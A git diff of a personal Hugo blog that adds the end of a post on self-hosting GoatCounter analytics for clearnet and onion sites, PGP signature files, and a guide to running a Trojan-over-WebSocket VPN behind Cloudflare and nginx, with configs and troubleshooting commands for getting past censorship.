+``` + +Because the loader above sets `window.goatcounter.endpoint` to `/count` on `.onion`, both **hits** and **reads** stay on the onion origin and are tallied into the same GoatCounter site. + +> **Note on DNT/Tor:** Tor Browser sends `DNT: 1`. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way. + +--- + +### 7) Troubleshooting quick notes +- **400 “no site at this domain”** → create the site with `-vhost=statsblog.alipourimjourneys.ir` or fix your proxy `Host` header. +- **Counts don’t change on onion** → verify Tor path via `torsocks`, watch logs: + ```bash + docker compose logs -f goatcounter + # look for “ignored: bot” (curl UA), or DNT being respected + ``` +- **DevTools sanity** → on clearnet you should see `https://statsblog…/count` and `…/counter/*.json`; on onion you should see `/count` and `/counter/*.json` (same‑origin). + +That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere. + + +Honestly, self-hosting GoatCounter wasn't as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it's done and dusted, and I'm a happy puppy! :D + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/view_count.md.asc b/static/sources/posts/view_count.md.asc new file mode 100644 index 0000000..f32df87 --- /dev/null +++ b/static/sources/posts/view_count.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8 +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2 +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc= +=o387 +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/vpn.md b/static/sources/posts/vpn.md new file mode 100644 index 0000000..e4c2115 --- /dev/null +++ b/static/sources/posts/vpn.md @@ -0,0 +1,177 @@ +--- +title: "Stealth Trojan VPN Behind Cloudflare Guide" +date: 2025-09-09T11:05:00+02:00 +draft: false +tags: ["VPN", "Trojan", "Cloudflare", "Xray", "3x-ui", "Bypass", "Privacy", "Debugging"] +categories: ["Guides"] +--- + +## Introduction +So you want a VPN that **doesn't scream "I am a VPN"** to every censor and firewall out there? +Welcome to the world of **Trojan over WebSocket + TLS behind Cloudflare**. + +This guide not only shows you how to set it up but also sprinkles in some **debugging magic** so you can figure out why things break (and they *will* break, trust me). + +We’ll anonymise domains and secrets, so substitute with your own: +- VPN domain: `web.example.com` +- Panel domain: `panel.example.com` +- Secret WS path: `/stealth-path_abcd1234` +- Password: `` + +--- + +## Architecture at a Glance +Think of it as a disguise party: + +- **Trojan** = the shy guest (your VPN protocol) +- **Nginx** = the bouncer checking IDs (reverse proxy) +- **Cloudflare** = the doorman who makes sure nobody sees who's inside (CDN & proxy) +- **Your fake website** = the mask (camouflage page) + +Traffic flow: +``` +Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321) +``` + +--- + +## Step 1: Panel Setup (`panel.example.com`) +- Bind the 3x-ui panel to localhost (e.g., `127.0.0.1:46309`). +- Choose a funky **web base path** like `/panel-bananas_42/`. +- Proxy it through Nginx with HTTPS + Basic Auth. +- Test it at `https://panel.example.com/panel-bananas_42/`. + +**Pro tip:** If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs! + +--- + +## Step 2: Trojan Inbound +In 3x-ui, create a Trojan inbound: +- Local port: `54321` +- Transport: WebSocket +- Path: `/stealth-path_abcd1234` +- Security: none +- Password: `` + +--- + +## Step 3: Nginx for VPN Domain (`web.example.com`) +Your Nginx is the gatekeeper. Sample config: + +```nginx +server { + listen 443 ssl http2; + server_name web.example.com; + + ssl_certificate /etc/letsencrypt/live/web.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem; + + # Fake website at root + location / { + root /var/www/html; + index index.html; + } + + # Real VPN under secret WS path + location /stealth-path_abcd1234 { + proxy_pass http://127.0.0.1:54321; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + } +} +``` + +--- + +## Step 4: Firewall Rules +Lock things down! Only Cloudflare should reach you: +```bash +ufw allow 22/tcp +ufw allow 80/tcp +ufw allow 443/tcp +ufw deny 54321/tcp +``` + +--- + +## Step 5: Client Config +Trojan URI: +``` +trojan://@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN +``` + +iOS clients: Shadowrocket, Stash, FoXray +Android clients: v2rayNG, Clash Meta, NekoBox + +--- + +## Debugging Time (a.k.a. “Why the heck doesn’t it work?!”) + +### Symptom: **520 Unknown Error (Cloudflare)** +- Likely cause: Nginx couldn’t talk to Trojan. +- Check Nginx error log: + ```bash + tail -n 50 /var/log/nginx/error.log + ``` +- If you see `upstream sent no valid HTTP/1.0 header` → you’re mixing HTTPS/HTTP between Nginx and Trojan. + +--- + +### Symptom: **526 Invalid SSL certificate** +- Cloudflare → Nginx cert mismatch. +- Run: + ```bash + openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts + ``` +- Make sure CN = `web.example.com`. If not, fix your cert. + +--- + +### Symptom: **Blank page on panel** +- Check if the base path matches exactly (case-sensitive, slash-sensitive). +- Watch for sneaky trailing spaces! +- Test locally: + ```bash + curl -s -D- http://127.0.0.1:46309/panel-bananas_42/ + ``` + +--- + +### Symptom: **Client won’t connect** +- Run a WebSocket test: + ```bash + curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234 + ``` + Expect `101 Switching Protocols`. If not, check Nginx config. + +--- + +### Symptom: **Censor still blocks you** +- Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP? + → They’ll find your origin IP. Use a second VPS or lock those ports down. +- Did you use an obvious path like `/ws`? + → Use a random-looking one like `/cdn-assets-329df/`. + +--- + +## Pro Tips & Fun Tricks +- Serve a fake blog or portfolio at root so your domain looks legit. +- Rotate WebSocket paths occasionally. +- Use Cloudflare **Page Rules** to disable Rocket Loader & Minify for your VPN domain. +- Make friends with your Nginx error.log — it will roast you but it tells the truth. + +--- + +## Conclusion +By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise: +- Looks like normal HTTPS. +- Hides your origin IP. +- Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass. + +Congrats — you’ve built a VPN with both **style** and **stealth**. 🥷 + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/vpn.md.asc b/static/sources/posts/vpn.md.asc new file mode 100644 index 0000000..2367660 --- /dev/null +++ b/static/sources/posts/vpn.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y= +=IovZ +-----END PGP SIGNATURE----- diff --git a/themes/PaperMod b/themes/PaperMod new file mode 160000 index 0000000..5a46517 --- /dev/null +++ b/themes/PaperMod @@ -0,0 +1 @@ +Subproject commit 5a4651783fa9159123d947bd3511b355146d4797